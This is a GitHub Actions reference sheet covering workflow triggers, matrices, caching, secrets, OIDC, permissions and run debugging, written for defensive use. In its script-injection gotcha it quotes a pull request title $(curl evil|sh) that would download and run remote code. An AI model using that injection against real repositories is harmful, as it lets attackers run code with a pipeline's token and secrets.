Workflow building blocks
CI workflow
A minimal CI workflow for .github/workflows/ci.yml: least-privilege token, cancel superseded runs, cache dependencies.
name: ci
on:
push:
branches: [main]
pull_request:
permissions:
contents: read
concurrency:
group: ci-${{ github.ref }}
cancel-in-progress: true
jobs:
test:
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: 20
cache: npm
- run: npm ci
- run: npm test
on:- Triggers: push, pull_request, schedule, workflow_dispatch and more.
permissions:- Scope of GITHUB_TOKEN; start from contents: read.
concurrency:- Cancel older runs of the same ref when a new one starts.
timeout-minutes- Kill hung jobs instead of burning the 6-hour default.
needs: [<job>]
Order jobs into a pipeline. Jobs without needs run in parallel.
deploy:
needs: [test, build]
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
needs- Wait for these jobs to succeed.
if: always()- Run even if a needed job failed, for cleanup or notifications.
needs.JOB.outputs.X- Read an output published by an earlier job.
strategy.matrix
Run one job across several versions or platforms.
strategy:
fail-fast: false
matrix:
node: [18, 20, 22]
os: [ubuntu-latest, windows-latest]
matrix.KEY- Referenced as ${{ matrix.node }}.
fail-fast: false- Let other combinations finish when one fails.
include / exclude- Add or remove specific combinations.
max-parallel- Limit concurrent combinations.
echo "name=value" >> "$GITHUB_OUTPUT"
Publish a step output for later steps and jobs. The old ::set-output command is deprecated.
- id: version
run: echo "tag=$(git describe --tags)" >> "$GITHUB_OUTPUT"
- run: echo "Building ${{ steps.version.outputs.tag }}"
$GITHUB_OUTPUT- Step outputs file.
$GITHUB_ENV- Set environment variables for later steps.
$GITHUB_STEP_SUMMARY- Markdown shown on the run summary page.
on: workflow_dispatch / schedule
Run workflows by hand with inputs, or on a cron schedule.
on:
workflow_dispatch:
inputs:
environment:
type: choice
options: [staging, production]
schedule:
- cron: "17 3 * * *"
workflow_dispatch- A Run workflow button, with typed inputs.
schedule.cron- UTC cron; runs on the default branch only.
paths:- Only trigger when matching files change.
Gotcha Scheduled workflows in inactive public repositories are disabled after 60 days without activity.
if: <expression>
Run a job or step conditionally using contexts and status functions.
- name: Deploy
if: github.event_name == 'push' && github.ref == 'refs/heads/main'
run: ./deploy.sh
success() / failure()- Status of previous steps; success() is the implicit default.
always() / cancelled()- Run regardless, or only when cancelled.
contains(), startsWith()- String and array helpers.
github.*, env.*, inputs.*- Common contexts.
services:
Start sidecar containers, such as a database, for integration tests in a job.
services:
postgres:
image: postgres:16
env:
POSTGRES_PASSWORD: test
ports:
- 5432:5432
options: >-
--health-cmd "pg_isready"
--health-interval 5s
--health-retries 10
ports- Map to localhost when steps run directly on the runner.
options --health-*- The job waits until the service is healthy.
service name as host- Used instead of localhost when the job itself runs in a container.
uses: org/repo/.github/workflows/<file>@<ref>
Call a reusable workflow so every service shares one pipeline definition.
jobs:
deploy:
uses: acme/platform/.github/workflows/deploy.yml@v3
with:
service: api
secrets: inherit
on: workflow_call- Declared in the called workflow, with inputs and secrets.
secrets: inherit- Pass the caller's secrets through.
concurrency:
Cancel superseded runs on a branch, and never let two deploys to the same environment overlap.
concurrency:
group: ci-${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
group- Runs with the same group key queue behind each other.
cancel-in-progress: true- A new run cancels the one already running.
job-level concurrency- Serialize just the deploy job, not the whole workflow.
Gotcha Do not cancel in-progress production deploys: a half-applied rollout is worse than a queued one. Use cancel-in-progress: false for deploy groups.
Caching & artifacts
actions/cache
Restore dependency caches keyed on the lockfile hash.
- uses: actions/cache@v4
with:
path: ~/.cache/pip
key: pip-${{ runner.os }}-${{ hashFiles('**/requirements*.txt') }}
restore-keys: pip-${{ runner.os }}-
key- Exact match restores the cache; a miss saves a new one at job end.
restore-keys- Prefix fallbacks for a partial, still useful cache.
hashFiles()- Changes the key whenever the lockfile changes.
Gotcha Cache the package manager's download cache, not node_modules or build output, unless you know the restore is safe.
actions/upload-artifact
Keep build outputs, test reports or logs from a run, and pass files between jobs.
- uses: actions/upload-artifact@v4
if: failure()
with:
name: test-reports
path: reports/
retention-days: 7
if: failure()- Upload only when something failed.
retention-days- Expire sooner than the repository default.
download-artifact- Fetch it in a later job.
timeout-minutes
Stop a hung job or step before it burns runner minutes for hours.
jobs:
test:
runs-on: ubuntu-latest
timeout-minutes: 15
jobs.JOB.timeout-minutes- Cap the whole job.
steps[*].timeout-minutes- Cap one step, such as an integration test.
continue-on-error- Let a step or job fail without failing the run.
Gotcha The default job timeout on GitHub-hosted runners is 360 minutes, so a hung test holds a runner for six hours.
Secrets & trust
${{ secrets.NAME }}
Read an encrypted secret. Pass it through env instead of interpolating it into a script.
- run: ./deploy.sh
env:
API_TOKEN: ${{ secrets.API_TOKEN }}
secrets.*- Repository, environment or organization secrets.
vars.*- Non-secret configuration variables.
::add-mask::VALUE- Mask a derived value in logs.
Gotcha Secrets are not available to pull_request runs from forks. Do not work around that with pull_request_target plus a checkout of the fork's code.
env: TITLE: ${{ github.event.pull_request.title }}
Avoid script injection: never place untrusted event fields directly inside run.
- env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "PR title: $TITLE"
untrusted- Titles, bodies, branch names, commit messages and issue comments.
env: then $VAR- The shell treats the value as data, not code.
Gotcha run: echo "${{ github.event.pull_request.title }}" lets a PR titled $(curl evil|sh) run code with your token.
permissions: id-token: write
Authenticate to a cloud provider with short-lived OIDC tokens instead of long-lived keys stored as secrets.
permissions:
id-token: write
contents: read
steps:
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789012:role/gha-deploy
aws-region: eu-west-1
id-token: write- Allow the job to request an OIDC token.
trust policy sub- Restrict the cloud role to a repo, branch or environment.
uses: owner/action@<commit-sha>
Pin third-party actions to a full commit SHA so a moved tag cannot swap code into your pipeline.
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
@v4- A mutable tag: convenient, trusts the publisher.
@SHA- Immutable; let Dependabot propose updates.
environment: production
Gate a deploy job behind required reviewers, wait timers and environment-scoped secrets.
deploy:
environment:
name: production
url: https://app.example.com
runs-on: ubuntu-latest
required reviewers- Configured in repository settings, not in YAML.
deployment branches- Only allow deploys from main or release/*.
permissions:
Give the GITHUB_TOKEN read-only access by default and grant write scopes only to the jobs that need them.
permissions:
contents: read
jobs:
release:
runs-on: ubuntu-latest
permissions:
contents: write
packages: write
contents- Read or push to the repository.
pull-requests- Comment on or label pull requests.
id-token: write- Request an OIDC token for cloud login.
permissions: {}- No scopes at all.
Gotcha pull_request runs from forks get a read-only token and no secrets. pull_request_target runs with secrets, so never check out and execute the pull request's code in it.
Debug runs
gh run list
List recent workflow runs from the terminal with the GitHub CLI.
gh run list --workflow ci.yml --branch main --limit 5
--workflow FILE- Filter by workflow.
--status failure- Only failed runs.
gh run view <id> --log-failed
Print only the logs of the failed steps, the fastest route to the error.
gh run view 9912345678 --log-failed
--log-failed- Logs for failed steps only.
--web- Open the run in a browser.
gh run rerun ID --failed- Re-run just the failed jobs.
ACTIONS_STEP_DEBUG=true
Turn on verbose runner and step debug logs by setting these as repository variables or secrets.
gh variable set ACTIONS_STEP_DEBUG --body true
ACTIONS_STEP_DEBUG- Extra logging from actions (::debug:: lines).
ACTIONS_RUNNER_DEBUG- Runner diagnostic logs.
Re-run with debug logging- The same switch for a single re-run in the UI.
Red build triage
Work out whether a failure is your change, the pipeline or the environment before re-running.
1. Read the first error in the failed step, not the last line.
2. Did the same job pass on main today? If not, the break is not your PR.
3. Did anything change outside the code: action version, runner image, a dependency release, a secret?
4. Re-run failed jobs once. Passing on re-run means flaky: open a ticket, do not ignore it.
5. Reproduce locally with the same versions the runner used.
- runner image
- ubuntu-latest moves to new versions; pin ubuntu-24.04 for stability.
- exit code 137
- The process was OOM-killed on the runner.